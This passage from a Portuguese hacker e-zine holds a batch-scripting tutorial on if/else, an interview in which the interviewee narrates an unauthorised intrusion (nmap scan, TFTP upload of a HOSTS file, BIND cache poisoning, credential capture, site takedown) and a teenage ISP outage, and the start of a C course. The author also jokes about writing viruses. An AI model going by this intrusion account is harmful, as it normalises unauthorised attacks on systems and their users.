Batch Parte 3 [=] + =======xx=============xx============ + [=] Parte 3!!! Isso mesmo cara, tudo que tinha na C.O.D.E x01 vai continuar aqui (dã, dã), ou seja, não pegue o bonde andando, se voce não tem a code x00 e x01 baixem aqui: http://www.hunterhacker.xpg.com.br/CODEx00.txt http://www.hunterhacker.xpg.com.br/CODEx01.txt ================================ Controle de fluxo em batch - 'if' ================================ Controle de fluxo nada mais é que voce inserir no seu programa algo do tipo: 'Se voce digitar isso vai acontecer isso:', 'se existir isso aqui vai contecer isso aqui:'. E assim vai. Esses são os operadores de comparação que são utilizados com o comando 'if' no batch: EQU - igual NEQ - diferente LSS - menor que LEQ - menor que ou igual GTR - maior que GEQ - maior que ou igual Exemplos (espero que tenham lido as C.O.D.Es anteriores antes de proceguir): ------ cut ------ @echo off &cls set /p numero=Digite o numero que estou pensando: if %numero% == 10 (echo Ei cara, acha mesmo que eu estou pensando no %numero%?) pause ------ cut ------ Esse script exibe a mensagem 'Digite o numero que estou pensando:' e armazena o que foi digitado na variavel 'numero' e abaixo ele vai fazer uma comparação do que o user digitou (if %numero% == 10), se o que o maluco digitou for igual (==) a 10 ele exibe a mensagem: Ei cara, acha mesmo que eu estou pensando no %numero%?. Simples, repara que utilizei o '==' ao invez dos outros =) nem preciso de muito lega-lenga como diz minha amiga Íris. Vamos fazer varias comparações agora. ------ cut ------ @echo off &cls set /p numero=Digite o numero que estou pensando: if %numero% == 10 (echo Ei cara, acha mesmo que eu estou pensando no %numero%?) if %numero% == 24 (echo Linda rosa que te leva infeliz rsrs) pause ------ cut ------ Esse script acima "espera" o usuario digitar um numero (set /p numero=Digite...), e armazena o que ele digitou na variavel numero (%numero%), lembram que para ser referir a uma variavel em batch utilizamos o sinal de percento (%)? Então para comparar voce tem que usar o sinal '%', mas não precisa colocar para declarar (nesse caso). O que? Não sabe o que significa declaração? set /p numero="Ei ei ei <--- Isso e uma declaracao" Acima declarei a variavel 'numero' =) Ou seja, declarar é voce escrever no seu codigo alguma coisa, tipo, também declarei que a variavel (numero) seria do tipo 'char' rsrs hauhau!!! Desculpem a piadinha, o /p é o que determina o tipo da minha variavel, e esse tipo armazena string (texto =). Pronto, sem muito lenga-lenga (acho que não foi legal passar a noite com a Iris ontem XP). Ja que voce sabe que para comparar precisamos utilizar o sinal de percento ('%') antes e depois do nome da variavel (Exemplo: %Variavel%. Caso contrario o windows nem vai saber que voce quer comparar o valor digitado pelo user), vamos passar para as proximas etapas. Se esse numero (que foi digitado pelo user) for igual a 10 ele continua exibindo a mensagem: 'Ei cara, acha mesmo que eu estou pensando no %numero%?' Caso o usuario digite 24 (hum...) o script exibe a mensagem: Linda rosa que te leva infeliz rsrs. Repare bem ae mano, utilizei o '(' para abrir o bloco de codigo que executa a ação e utilizei o ')' para fechar o bloco de codigo que executa a ação, que será executada após um dos numeros digitados pelo usuario coincidirem com os numeros que se comparados com a variavel, executam a ação, no caso os numeros que serão comparados com a variavel (comparados com o que o user digitou) são 10 e 24 (hum... Linda rosa que te leva) Detalhe: Pra quem não sabe o 'if' significa 'se' em portugues, ou seja, estou falando a mesma coisa que: se %numero% == 10 (echo Ei cara, acha mesmo que eu estou pensando no %numero%?) se %numero% == 24 (echo Linda rosa que te leva infeliz rsrs) Repare ae em cima no 'se' (Entendeu? =). Caso o usuario digite algo que não tem nada aver com 10 ou 24 o script continua a executar o que "não" está dentro do bloco de codigo ('(' e ')'), ou seja, ele continua executando o que vem depois, que no caso é o tal do 'pause'. Detalhe: Depois que o user digita 10 ou 24 ele ainda continua executando o 'pause', CLARO QUE DEPOIS QUE ELE EXECUTA O QUE ESTÁ DENTRO DO BLOCO DE CODIGO =) Mas se dentro do bloco de codigo contem o comando 'exit' obviamente que ele nem vai chegar até o comando 'pause' que está fora do bloco de codigo =] =========X==================X====== Controle de fluxo em batch - 'else' =========X==================X====== Bem, o 'else' pode ser lido como: 'caso voce não faça o que eu quero eu mostro isso'. Exemplo: ------ cut ------ @echo off &cls set /p numero=Digite o numero que estou pensando: if %numero% == 10 (echo Ei cara, acha mesmo que eu estou pensando no %numero%?) if %numero% == 24 ( echo Linda rosa que te leva infeliz rsrs) else (echo Ei mano, voce nao digitou 24 huahauh!!!) pause ------ cut ------ Resultado: Digite o numero que estou pensando:10 Ei cara, acha mesmo que eu estou pensando no 10? Ei mano, voce nao digitou 24 huahauh!!! Pressione qualquer tecla para continuar. . . C:\> Chega de langa-lenga!!! hauha!!! Vou parar de explicar a mesma coisa varias vezes =) Mais exemplos: ------ cut ------ @echo off &cls set /p numero=Digite o numero que estou pensando: if %numero% EQU 10 (echo Ei cara, parabens!!! Voce digitou %numero%?) if %numero% NEQ 24 (echo Continua nao executando o 24 uhuhauha!!!) pause ------ cut ------ Caso o user digite 10 o resultado é esse: Digite o numero que estou pensando:10 Ei cara, parabens!!! Voce digitou 10? Mas continua nao digitando o 24 rsrs Pressione qualquer tecla para continuar. . . Reparem que utilizei os operadores de comparação EQU (Equivalent) e NEQ (Not Equivalent). Ou seja, disse isso aqui: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX @echo off &cls set /p numero=Digite o numero que estou pensando: SE %O que o usuario digitou% == 10 (echo Ei cara, parabens!!! Voce digitou %numero%?) SE %O que o usuario digitou% NÃO 24 (echo Continua nao executando o 24 uhuhauha!!!) pause XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX Se o que o usuario digitou for equivalente (EQU - igual a) 10 ele exibe a mensagem acima, se o que o usuario digitar NÃO (Não Equivalente - NEQ) for igual a 24 ele exibe outra mensagem, mas olha só que legal rapazida, 10 é igual a 24? Não! É por isso além do programa exibir a mensagem echo Ei cara, parabens!!! Voce digitou %numero%? Ele ainda exibe: echo Continua nao executando o 24 uhuhauha!!! Porque eu programei ele para exibir essa segunda pensagem quando um usuario NÃO digitar o que eu quero =) Com esse esquema meu fi, o usuario só tem duas escolhas: Sim ou SIM Huahuahuh!!!! Ja fiz muitos virus nesse esquema hauhauh!!! Dava ao usuario uma falsa sensação de escolha hauhuaha!!! Livre arbitril ou arbitriu ou arbitre (Não sei, não sou evangelico hauha!!!) só no céu baby hauhauhau!!! Entendenram? O MANIACO DA EXPLICAÇÃO DETALHADA ESTÁ DEVOLTA!!!! Com suas piadinhas sem graça e tudo mais Hauhauh!!! =======X==============X=============================X= XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX =======X==============X=============================X= Muitas vezes voce necessita que seu script faça comparações de strings digitadas pelo usuario, isso é muito importante como voces verão mais a frente na seção 'Telnet Secure', nesse exemplo me utilizei do método autenticação fornecido pelos scripts em batch para dar um segunda camada de segurança ao meu computador, fazendo com que seje necessario a utilização de uma segunda senha em uma seção telnet 'já estabelecida'. Se voce tiver imaginação (coisa que não me falta) e tiver conhecimento em batch, garanto que fará muitas coisas boas e completamente bizarras com simples scripts em batch (Experiencia propria =). Vamos aos exemplos: ------ cut ------ @echo off &cls set senha=luzinha set /p password=Digite sua senha: if %password% EQU %senha% (echo Bem vindo amigo) if %password% NEQ %senha% (echo Desculpe, senha invalida) pause ------ cut ------ Se voces acompanharam a C.O.D.E x01, viram que para declararmos uma variavel em batch utilizamos o comando 'set', nesse script o que fiz foi basicamente declarar uma variavel de nome 'senha' ('set senha' =) que recebe o valor (dados) 'luzinha', que como voce pode ver é texto (nada de numero rsrs =). Abaixo verá que declarei outra variavel chamada 'password' (que significa 'senha' em portugues) que exibe a mensagem 'Digite sua senha' e 'PARA' a execução do script ATÉ que o usuario digite sua senha, quando o usuario digitar algo, esse algo vai ser armazenado na variavel 'password' e logo abaixo vai rolar uma comparação de valores. Reparem aqui: Linguagem Batiana hauhau!! (Não vem do Batman rsrs): IF "%password%" EQU "%senha%" (echo Bem vindo amigo) IF "%password%" NEQ "%password%" (echo Desculpe, senha invalida) Tradução (Em nossa lingua, chega de falar morcegal): SE "%O q o user digitou for%" Equivalente a: "%O valor da variavel 'senha'%" ( echo Eu exibo essa mensagem aqui: Bem vindo amigo ) SE "%O q o user digitou%" Nao for equivalente ao: "%Valor da variavel 'senha'%" ( echo Eu mando ele chupar uma manga hauhau!!! ) Ou poderar incurtar as coisas utilizando o 'else', exemplo: ------ cut ------ @echo off &cls set senha=luzinha set /p password=Digite sua senha: if %password% EQU %senha% ( echo Bem vindo amigo) ELSE ( echo Desculpe, senha invalida) pause ------ cut ------ Se o que o usuario digitar for igual a 'luzinha' ele exibe a mensagem Bem vindo e tals, caso contrario (ELSE) ele exibe Deculpe, senha invalida. O 'else' é uma forma de revolta que inventaram cara huahuha!!! Ele diz assim: 'IF' não é assim, 'ELSE' então toma infeliz hauhauh!!! Maneiro rsrs. Detalhes Detalhes, voces sempre surgem =) Reparem nesses resultados: Digite sua senha:luzinha --> O cara digitou certo ('luzinha') Bem vindo amigo --> Isso prova que ele digitou certo ('luzinha') Pressione qualquer tecla para continuar. . . Mas e se por algum acaso da vida o cara digitase ao invez de 'luzinha' em letras minusculas, ele digitasse isso: LuZiNha, LUZINha, LUzinha (que não deixa de ser a senha). O que fazer para o script autenticar a senha ou login ou ambos? Obviamente caso voce não queira inserir nenhum recurso de login case sensitive. Para quem não sabe 'case sensitive' significa que a senha diferencia letras minusculas de letras maiusculas. Para autenticar todas as formas de escrita (minusculas e maiusculas) foi criado o '/I'. Vamos a um exemplo de utilização do /I ou /i como preferir, pois o DOS não é 'case sensitive', ou seja, não diferencia letras minusculas de maisculas (Eu sou o professor do ano rsrs =) Mas antes gostaria de comprovar que da erro =) ============================= Digite sua senha:LUZINHA Desculpe, senha invalida Pressione qualquer tecla para continuar. . . ============================= Vamos ver o novo code: ------ cut ------ @echo off &cls set senha=luzinha set /p password=Digite sua senha: if /I %password% EQU %senha% ( echo Bem vindo amigo) ELSE ( echo Desculpe, senha invalida) pause ------ cut ------ Repare que a unica coisa que mudei nesse code com relação ao code anterior foi o '/I' depois do 'IF', reparem ai: if /I %password% EQU %senha% ( Utilizando o '/I' depois do 'IF' significa que ele vai fazer a comparação do que o usuario digitou (%password%) com o valor da variavel 'senha' não se importando com letras minusculas ou maiusculas. Vamos ao resultado. Resultado: Digite sua senha:LUZINHA Bem vindo amigo Pressione qualquer tecla para continuar. . . Simples, muito simples, ou em outras palavras: SVEB -> Simple, Very Easy Baby =] Obviamente que se voce for um maniaco por portugues ira querer que o user digite o começo da senha com letras maiusculas certo? Então apenas faça isso: set senha=Luzinha E não insira DEPOIS do 'IF' o '/I', isso faz com que seje necessario a utilização do 'L' maiusculo no começo da senha (como voce definiu la em cima =). Para dificultar a vida dos caras voce pode ir fazendo isso véi: set senha=LuZ1nh@# Podera utilizar metodos de autenticação que exigem caracteres especiais como o arroba (@) ou a 'tralha' (#). Se o que o cara digitar contiver um errinho se quer vai dar... PAU!!! Exemplos: Acertou!!! Digite sua senha:LuZ1nh@# Bem vindo amigo Pressione qualquer tecla para continuar. . .. Errou!!! Digite sua senha:Luz1nh@# Desculpe, senha invalida Pressione qualquer tecla para continuar. . . Meu erro ai em cima foi ter digitado o 'z' com letra minuscula =). Só para lembrar amigo, repare nessa linha aqui: @echo off &cls. Alguns de voces não devem conhecer este operador --> '&', mas para quem não sabe gostaria de dizer que o 'E Comercial' é o operador responsavel pela execução de dois comandos em uma mesma linha no seu script ou até mesmo quando voce executa ele no shell do DOS, nesse caso é desativado o eco do comando e logo em seguida a tela é limpa (utilizando o comando cls). Se eu quizese ver a data atual e ainda ver a hora eu poderia inserir apenas uma linha no meu fonte, exemplo: ------ cut ------ @echo off date &time pause ------ cut ------ resultado: Data atual: sex 29/02/2008 Digite a nova data: (dd-mm-aa) Hora atual: 21:32:50,53 Digite a nova hora: Pressione qualquer tecla para continuar. . . Isso é bastante utilizado por mim, principalmente para inserir comentarios nos scripts que desenvolvo, pois o 'ReM' que é utilizado para inserir comentarios em arquivo em lotes ou no CONFIG.SYS, ainda continua sendo um comando, lembra que o '&' permite que eu escreva dois OU MAIS comandos na mesma linha? Por isso me sinto no direito de escrever o comando no '.bat' e colocar na frente o que ele faz =) Exemplo: ------ cut ------ @echo off &ReM -> Aqui eu desligo o eco do comando date &REM Aqui eu quero ver a data echo Beijo xuxa &rem Aqui eu to mandando um beijo pra xuxa rsrs =) pause ------ cut ------ Resultado: Data atual: sex 29/02/2008 Digite a nova data: (dd-mm-aa) Beijo xuxa Pressione qualquer tecla para continuar. . . Vale lembrar para os iniciantes que nenhum tipo de comentario é exibido na execução dos scripts (como voce pode ver acima), pois a real função dos comentarios é ajudar outros programadores a ter um bom entendimento de seus fontes (nada mais), porque voce vai estar comentando toda ação, nesse caso 'todo comando' =) Com os comentarios você também poderá inserir creditos, licença, instruções de uso e até piadas hehe. Vale lembrar também que não é exibido nenhum tipo de comentario porque utilizei o '@echo off' no começo do code. O interesante do controle de fluxo é justamente possibilitar a voce a escolha de controlar cada coisa que vai acontecer =) Mais exemplos: Esse script abaixo testa se o que o usuario digitou é maior ou igual a 10, vou utilizar o operador 'GEQ' que significa: 'Maior que, ou igual'. =) ------ cut ------ @echo off &cls & color a set numtest=10 set /p num1=Digite um numero: if %num1% GEQ %numtest% ( echo voce digitou um numero maior ou igual a %numtest%) ELSE ( echo voce nao digitou um numero maior ou igual a %numtest% =]) ------ cut ------ Esse abaixo analisa se o que o usuario digitou é menor que 5, repare que ele apenas analisa se é menor, ou seja, se o usuario digitar cinco ele ainda vai mostrar a mensagem: Não é igual a cinco maluco. Porque estou utilizando um operador que só faz um tipo de comparação que é: Verificar se é menor. Ponto. Sem muito lenga-lenga XP. ah! O operador (como voces podem ver) é o LSS, que significa 'menor que' =) ------ cut ------ @echo off &cls & color a set numtest=5 set /p num1=Digite um numero: if %num1% LSS %numtest% ( echo Seu numero e menor que %numtest% %username%) ELSE ( echo voce nao digitou um numero menor que %numtest% %username% =]) ------ cut ------ Repare que estou utilizando a variavel de ambiente (%username%) que armazena o nome de usuario do maluco, para o script exibir uma mensagem mais legal. Vejamos. Resultado: ------------------------------------------------------------------------------------------- Digite um numero:-2 Seu numero e menor que 5 David <-- Repara no 'David', David é meu nome de usuario =) ------------------------------------------------------------------------------------------- Digite um numero:10 voce nao digitou um numero menor que 5 David =] ------------------------------------------------------------------------------------------- Digite um numero:5 voce nao digitou um numero menor que 5 David =] ------------------------------------------------------------------------------------------- Sempre podemos utilizar variaveis de ambiente em nossos escripts, este ai é um belo exemplo disso, David é o valor da variavel de ambiente %username% e que por sinal é meu username (nome de usuario =) que está armazenado nesta variavel. Também podemos comparar valores digitados pelo user diretamente a uma string, ou seja, não precisamos comparar valores de duas variaveis. ------ cut ------ @echo off &cls & color a set /p algo=Digite algo: if "%algo%" EQU "Queijo" ( echo voce digitou Queijo! & pause) ELSE ( echo voce nao digitou Queijo :( & pause ) ------ cut ------ Repare nas aspas e em tudo ai em cima, pois estou cançado de escrever XP. Até a proxima parte do curso onde iremos falar mais do IF e essas paradinhas da vida ;-) ---- Batch é uma arte mano. By 6_Bl4ck9_f0x6 (Myloveluz) ----- C4p1Tul0 08 [X=========X=======================X==========X] Entrevista com Marcos Flavio Araujo Assunção [X=========X=======================X==========X] Aí está cambada, a tão esperada entrevista, espero que gostem de mais uma excelente materia da C.O.D.E. Gostaria de agradecer mais uma vez ao Marcos por ter aceitado dar a entrevista e gostaria de cobrar o paper que ele disse que ia escrever pra minha zine =) To esperando rsrs. Starting... [Eu]: Ola Marcos, primeiramente gostaria de agradecer por voce ter aceitado a proposta de ser entrevistado. Tenho certeza que os leitores da C.O.D.E depois desta entrevista vao te ver com os meus olhos, ou seja, vao ver que voce e um dos muitos "Brasileiros" da elite (me refiro a elite HACKER). Voce sabia que sou seu fa? Na verdade eu sou fa de um monte de gente ae, mas sou seu fa tambem, diga o quanto essa entrevista é importante pra vc rsrsrsr, ei! isso foi uma brincadeira eheh, enfim, me conte quando e como começou seu interesse por hacking. [Marcão]: Haha, de boa, o prazer (da entrevista, óbvio), é meu... risos. Bom, olha só... eu sempre gostei muito de informática e programação... lá pra 1994 ou 1995, quando eu tinha uns 14 anos, comecei a trabalhar em uma empresa de informática como "info-boy". É aquele que ia na casa dos clientes instalar os softwares por disquete. (Windows = 15 disquetes. Ninguem merece). Enfim, pouco tempo descobri a minha vontade de sempre ser mais e mais curioso e aprender todo dia um pouco além do que eu já sabia. Isso me levou a me tornar professor nessa empresa, após uns 3 ou 4 meses lá. Nessa mesma época eu conheci as famosas BBS (Bulletin Board Systems) e me apaixonei. Acessava BBSs do Brasil e do mundo todo. Foi nesse ambiente que eu comecei a ter contato com materiais voltados para "hacking". Foi o casamento perfeito, mais de dez anos depois continuo apaixonado com o assunto. [Eu]: Antigamente a nossa classe especial de seres humanos (hackers), costumava botar medo em civis, mas hoje esta tudo mudado, tem lammer que chega pra gente no msn e diz que agente nao consegue invadir o PC dele (ate que alguem vai la e transforma a vida desse lixo num inferno), nossa moral esta caindo, as elites nao sao mais respeitadas hoje em dia. Voce, como eu e um monte de gente ae "das antigas", acha que o mundo hacker entrou em decadencia? Diga-me o que acha da cena hacker nos dias de hoje e me fale sobre a triste realidade que nos vivemos com relaçao a ninguem desenvolver mais nada para contribuir com a cena "Brasileira". [Marcão]: O problema maior hoje é o fim do mistério. Como eu dizia, na época das BBS era tudo mais difícil. Pra conseguir aprender alguma coisa você tinha que saber inglês pra poder ler o FAQ da ALT.2600. Pra conseguir esse faq você tinha que acessar a USENET. Pra acessar essa rede, você tinha que descobrir um servidor NNTP que fosse público e configurar em algum software que permitesse. Enfim, dava mais prazer aprender pois dava a sensação tipo de uma maçonaria, um pequeno clube secreto. Hoje, utilizando o google e um ou dois cliques, você consegue tudo isso com muita facilidade, em português, com ferramentas próprias e prontas pra ser usadas. Essa "aparente facilidade" faz com que os novatos acreditem que as coisas são muito simples, pois a maioria não consegue ver a diferença entre "invadir" e "quebrar a segurança". Invadir pode ser feito com princípios de engenharia social, o que torna o ato fácil para até crianças de 5 anos. "Quebrar a segurança" exige conhecimentos avançados, e alguém que não conheça um mínimo de programação, rede e SOs não chegaria nem perto disso. E nem mencionei o fato de alguns inúteis que se auto-denominam "carders" sujarem ainda mais a cena atual do hacking, fazendo com que o termo hacker seja sinônimo de ladrão. [Eu]: Marcos, gostaria de lhe pergunta o que voce acha dos malditos lammers, digo "lammers", "NAO bgners", voce e do tipo que deseja a forca para esses lixos? Mande seu recadinho para essa escoria. [Marcão]: Begginers ou iniciantes, todos nós já fomos. Nada mais normal que isso. Afinal, você sempre será um iniciante em algo que nunca fez. Mesmo que eu conheça bem de redes, não entendo nada de modelagem 3D, eu seria um principiante nessa àrea. Então, para as pessoas normais elas sabem que sempre vão precisar aprender mais pois conhecimento não é medido de forma vertical apenas... não existe conhecer mais ou menos, apenas de forma diferente. Ninguém sabe todos os detalhes de determinado assunto e sempre podemos aprender trocando informações com outros. O problema dos lamers é que, logo na primeira ou segunda coisa que aprendem já se acham os donos do mundo e ficam criticando outros. É triste pois serão eternamente inferiores à aqueles com humildade. [Eu]: Legal, agora vamos as perguntas construtivas, esta pronto? [Marcão]: Manda bala. [Eu]: Espero que saiba que estou copiando e colando as perguntas, estou pressionando a tecla x e apagando so pra voce achar que eu estou digitando algo ae eheh Brincadeira. [Marcão]: hehe, de boa. [Eu]: Pergunta um: Baixei sua entrevista para o cara do programa online e ele falo daquele tal grupo hacker terrorista que nao me recordo o nome agora (pra nao sujar a entrevista sabe, detesto divulgar gringo), entao, gostaria de lhe perguntar qual a tecnica que utilizou para fazer deface no server dos gringotes, lembro-me que na entrevista voce nao disse muita coisa nao, fico falando que tinha feito um troço la e o cara caiu, gostaria que voce contase a historia direito para os leitores da C.O.D.E, sei que voce e preguiçoso pra escrever e pra ler e tals, mas num te preocupa eu tenho todo o tempo do mundo ehhe. ah! Quanto mais tecnico melhor. [Marcão]: Preguiçoso eu? imagina... kkk. Olha, não vou falar demais disso não pq já me encheu o saco essa história. Mas vou comentar alguns detalhes que ocultei disso até hoje pra encerrar esse caso de vez. Começou assim: um colega meu de Fortaleza me passou um link desse tal de HAA. Eu abri o site e achei até interessante a crítica que eles estavam fazendo aos EUA. Postei em alguns fórums e passei por e-mail a história pra um conhecido jornalista meu, que mandou um e-mail para os caras e entrevistou eles. Quando eu li a tal "entrevista", eu choquei. Isso porque um dos tais "membros" se auto-denominava "Sombrio". Esse é um nick que eu utilizava na época que eu fazia parte de um grupo , o UHOL, mais ou menos em 1996/1997. Cismei que não era mera coincidência e que o cara provavelmente me conhecia. Fiquei curioso e perguntei ao meu colega de Fortaleza como esse site tinha chegado nas mãos dele. Me disse que recebeu de e-mail de um hacker de Recife que ele conhecia, mas não quis me passar o contato, disse que o cara era sistemático, etc. Enfim, eu mandei um e-mail para o contato deles no site do Hackers Against America utilizando um pouco de Engenharia Social, falando que eu achava que não era legal o que estavam fazendo, especialmente de querer realizar um ataque contra o The New York Times (tava na página deles isso) e tal. Recebi uma resposta então em português bem claro me mandando ir para um certo lugar e continuar a enganar as pessoas de Lavras com o meu "anti-trojans". É um programa que eu criei antes do Valhala, mas que deixei de mexer faz tempo. E o fato dele citar a cidade de Lavras (onde eu morava na época... ), Tive certeza então que era alguém que eu conhecia das antigas... até imaginava quem, um antigo desafeto do meu ex-grupo que se mudou pro nordeste. Enfim, peguei o IP do cabeçalho do e-mail dele, e vi que era originário do Recife, utilizando Velox. Comprovei o que eu achava. A partir daí, fiz o seguinte: passei o NMAP no PC dele, pra obter o fingerprint do OS. Deu que era Windows 2000/XP/2003 (um dos 3). Alguns dos serviços encontrados remetiam principalmente ao XP. Exemplo: 5000 (UPNP). Mas ao mesmo tempo haviam serviços estranhos, como RLOGIN e RSH habilitados. Também vi o DNS e o TFTP. Ao passar a opção -A do NMAP no DNS por exemplo, ele me resultou que seria o BIND. Mas BIND pra Windows? Deduzi que ele havia instalado o CYGWIN para realizar testes, uma espécie de "tradutor-emulador" de Linux para Windows. Tive uma idéia então: normalmente o CYGWIN quando mal instalado, coloca o servidor TFTP pra operar da raiz "C:\". Tentei fazer upload de um arquivo HOSTS modificado , colocando o Domínio da página deles para cair no meu IP. Algo como um DNS Spoofing. Busquei também um exploit mais recente do BIND, que realizasse Cache Poisoning (envenenamento de cache) com o mesmo fim, redirecionamento do domínio haa.narod.ru para o meu IP atual. Um dos dois funcionou: alguns minutos depois, ao abrir o meu Valhala Honeypot e configurar um servidor FTP para a escuta, eu recebi a conexão da minha "vítima", peguei login e senha de acesso do site real e tirei o mesmo do ar logo depois, deixando uma "mensagem" para irritar o meu coleguinha. Pouco tempo após isso, vi aparecer um texto no Zone-H falando que eu havia criado o site e retirado do ar. Fiquei estupefato. Fui ler o texto e fiquei procurando o que eles teriam apresentado como "prova" do que diziam. Basicamente no texto dizia: que como o meu primeiro livro era para iniciantes, minhas colunas também, eu também utilizava Velox (o que por sinal é uma estupidez. O Velox está em mais de 12 estados brasileiros, milhares de usuários) e outras bobagens. Creio que se eu quisesse fazer um teatro como eles diziam, o MÍNIMO a fazer é mascarar o meu IP. Se eu sei diversas maneiras de fazer isso (proxys, spoofing, anonymizer, tor, etc) por que eu deixaria o meu IP real aparecesse se fosse realmente culpado? Enfim, acho que teve um dedinho do meu "colega revoltado" que criou o site, provavelmente enviando e-mails para sites especializados com a bomba de que "Marcos Flávio forjou o site terrorista" e coisa do tipo. Por último, me acusaram de tentar "divulgar" o Valhala Honeypot para realizar a venda do mesmo. Só se esqueceram de consultar o sourceforge no qual meses antes do ocorrido estava lá de todo tamanho: OPEN SOURCE. [Eu]: Acho que ja deu para notar que essa entrevista naum e nem um pouco formal, ou seja, digamos que seja um conversa entre amigos e por isso gostaria de uma informaçao sua, um tanto quanto comprometedora, tipo, vc ja fudeu algum host fora o dos gringos terroristas? Se ja detonou, me fale mais sobre isso, gostaria de divulgar suas açoes. [Marcão]: Não... nunca fiz o estilo Cracker... só desliguei um provedor de internet em Lavras uma vez, durante o final de semana todo, impossibilitando a todos os usuários dele acessarem a net. Mas isso eu era adolescente tb... tinha uns 16, 17 anos na época. Não curto muito fazer defaces não, nunca vi muita utilidade em competir "quem pixa mais". [Eu]: Andei reparando em seus videos para o DEFHACK e na maioria dos seus videos "por fora" e percebi que uma grande parte dos mesmos sao baseados nos ensinamentos de sua certificaçao, o CEH, pra te falar a verdade acredito que todos os macetes que vc ta ensinando nos videos voce aprendeu la ('eu acho'), tipo : ADS, Fake URL, Spoofing (usando sterm), Hijacking de telnet, Trojan Beast, Cain, etc. Eu andei absorvendo toda a certificaçao e vi que existe muita coisa boa. Enfim Marcos, me conte o que de bom o CEH lhe trouxe e diga para os leitores da C.O.D.E o quanto que ela pode nos beneficiar. [Marcão]: Olha, muitas dessas técnicas eu já conhecia antes de estudar para a certificação. Mas a CEH realmente me trouxe muito conhecimento, pois é um certificado muito interessante. Afinal, é o primeiro tipo de certificado formal de que você sabe realizar um penetration test, ou teste de invasão. Não vou dizer que a CEH lhe certifica que é um hacker, pois isso não é relacionado com o seu nível de conhecimento apenas e sim ao seu nível de criatividade. Mas é muito satisfatório você receber um certificado assegurando que você sabe invadir um sistema. Melhor ainda: reconhecido internacionalmente. [Eu]: Me conte de onde surgiu a ideia de criar um honeypot, me refiro ao valhala. Gostaria de dizer que ele é bom, acompanho a evoluçao dele a muito tempo e vejo que a cada nova versao voce se supera. Existem varios carinhas fazendo Honeys em Delphi, creio eu que na esperança de se comparar ao valhala, alguns até fazem seus honeys "com a mesma interface" e mesma funçoes do valhala, mas deixa isso pra la, melhor naum comentar. Foi voce o pioneiro em desenvolvimento de honeys por aqui? Estou certo ou estou delirando? [Marcão]: haha, eu já vi alguns desses honeys que o pessoal faz. Muitos fazem apenas o que o meu anti-trojans fazia anos antes do Valhala. Abre uma porta, recebe uma conexão, desconecta o indivíduo e mostra o IP na tela. Fico até honrado quando vejo que alguns extraíram o código-fonte do Valhala, sem nem mudar o nome das variáveis (risos). Eu realmente evolui o Valhala desse ponto a muito tempo, implementando servidores como FTP, WEB, TFTP, FINGER, etc... pretendo inclusive colocar um DNS (caso a falta de tempo me permita terminar a versão 2.0). Olha, pioneiro em honeypots no Brasil eu creio que não sou, pois existem vários projetos mas a grande maioria é voltado para sistemas Unix/Linux. O Valhala, apesar de também opensource, tem alguns objetivos bem específicos: Ser fácil de usar, com interface gráfica, para Windows, todo em português e com o tamanho bem pequeno. Acho que cumpri esses requisitos, afinal, mais fácil de usar impossível e para um programa com mais de 5 servidores, ele tem menos de 1 MB de download. Talvez nesses objetivos sim, eu tenha me saído um pouco mais pioneiro. [Eu]: Voce pode arrumar para os leitores da C.O.D.E o font do valhala? Tipo assim cara, eu uso muito IDSs como o snort e tal, se eu to afim de algo facil e descomplicado eu corro pro valhala porque enfim....o valhala é o valhala, mas infelizmente para mim os binarios nao é o limite, por isso venho lhe pedir encaricidamente que disponibilize o fonte do mesmo para a galera analisar e quem sabe "acrescentar algo", "nao refazer o mesmo com um outra interface e mudar os creditos". [Marcão]: O fonte está na página do sourceforge do Valhala, disponível para todos: www.sourceforge.net/projects/valhalahoneypot [Eu]: Para encerrar: Quais os bugs mais recentes que voce descobriu? Tipo, aqueles bugs que agente naum revela pra ninguem e tals, mas peso que abra uma exceçao para os leitores desta revista, conte-nos sobre eles, adoraria conhecer suas tecnicas ninja, tambem tenho as minhas mas num digo porque pode virar cu de bebo, mas enfim, entrega o ouro ae eheh. [Marcão]: Cara, infelizmente a minha época de ter tempo para brincar, fuçar e descobrir novos bugs já passou. Hoje eu trabalho o dia todo, estudo à noite e ainda dou aulas no final de semana, sem falar de cuidar da família. Mas pode deixar que, se no curto tempo livro descobrir alguma coisa interessante, lhe falo pra vc compartilhar no seu zine. [Eu]: Marcos, foi um prazer lhe entrevistar, e aproveitando a deixa gostaria de te pedir que escrevesse papers para a zine, mas se naum quiser tudo bem, nois aqui tenta levar assim mesmo eheh. Ja to com alguns papers que o pessoal under da antigas escreveram ae para a revista, mas gostaria de um paper seu aqui tambem, que tal? [Marcão]: Não prometo nada por causa da falta de tempo que te falei, mas pode deixar que um dia o paper sai... haha [Eu]: Ops... E se eu te falasse que temos que começar outra vez porque eu fechei a janela do MSN, voce faria novamente a entrevista? [Marcão]: Putz... tá brincando né? kkk [Eu]: Zuera vei Uhauhauh!!! Valeu cara, até mais ;-) ----- C4p1Tul0 09 [+ ======X============X===============X===== +] CURSO DE LINGUAGEM C PARTE 3 [+ ======X============X===============X===== +] Vamos a mais uma parte do nosso cursinho de C. Não tenho muito que falar na introdução desta seção, só tenho que alertar sobre a importancia de aprender C, pois se voce souber C voce é feliz =) Recomendo muito para os leitores desta seção que não tenham experiencia com a linguagem, que olhem as zines anteriores. Sei que nas partes anteriores não tenho dado a devida seriedade que este assunto merece e tenho sido um pouco imaturo, mas olhem a segunda edição para verem sobre leitura e declaração de variaveis do tipo inteiro (int). Só pra relembrar as edições passadas gostaria de lhes mostrar como é um tipico code em C. #include /* Aqui inserimos a biblioteca que contem as funções que serão declaradas dentro do bloco de codigo.*/ int main () --> Declaramos a função principal, a que inicia o codigo. { < -------------+ ------- > Abre o bloco de codigos < -------------+ ------- > Aqui entra as declarações e etc. } < ------------ + ------- > Fecha o bloco de codigos Na segunda parte do curso voce aprendeu a declarar variaveis do tipo inteiro, ou seja, variaveis que armazenam valores numericos, mas vou dar uma relembrada aqui, nem esquenta. Já que esse curso se destina a quem nunca teve contato com programação nenhuma, creio que devo explicar o que seja uma variavel, pois me esqueci de falar sobre isso nas edições passadas (eita curso bagunçado esse XP). Podemos dizer que uma variavel nada mais é que uma palavra que voce inseri no programa que armazena algum valor (conteudo), exemplo: -------- cut -------- #include int main () { int variavelx=2; printf ("O valor da variavel 'variavelx' e %d", variavelx); return 0; } -------- cut -------- Resultado: C:\Documents and Settings\David\Desktop>file1 O valor da variavel 